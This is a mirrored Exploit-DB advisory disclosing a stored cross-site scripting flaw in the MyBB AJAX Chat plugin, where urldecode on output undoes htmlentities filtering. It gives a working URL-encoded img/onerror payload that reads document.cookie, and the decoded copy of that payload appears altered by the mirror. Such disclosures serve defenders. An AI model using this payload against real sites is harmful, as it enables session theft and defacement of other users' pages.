MyBB AJAX Chat – Persistent Cross-Site Scripting

• Exploit Database
• 13 阅读

• 作者： Mr. P-teo
  日期： 2012-12-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/23354/

• # Title: MyBB AJAX Chat Persistent XSS Vulnerability
  # Date: 12/12/2012
  # Exploit Author: Mr. P-teo
  # Vendor Homepage: http://www.mybb.com/
  # Software Link: http://mods.mybb.com/view/ajax-chat
  # Version: 1
  # Tested on: Windows
  
  The Persistent XSS vulnerability lies within the chat_frame.php page.
  
  *************************************** Persistent / Stored XSS **************************************
  
  
  Although the message is filter with the htmlentities function below.
  <?php
  
  	$db->insert_query($tbl, array('uid' => $mybb->user['uid'], 'message' => $db->escape_string(htmlentities($message)), 'date' => time()));
  
  ?>
  
  The vulnerability occurs with the use of the urldecode function, allowing us to bypass the htmlentities with url encoding.
  <?php
  
  	$msg = urldecode($row["message"]);
  
  ?>
  
  The vulnerability can be exploited via the following line, decoded as - "><img src="https://www.exploit-db.com/exploits/23354/XSS" onerror="alert(document.cookie)" />
  
  %22%3E%3Cimg%20src%3D%22XSS%22%20onerror%3D%22alert(document.cookie)%22%20%2F%3E%0A
  
  This can be expanded on with defaces etc, alert is just a basic example.
  
  Brought to you be Mr. P-teo. 
  Twitter: http://twitter.com/MrPteo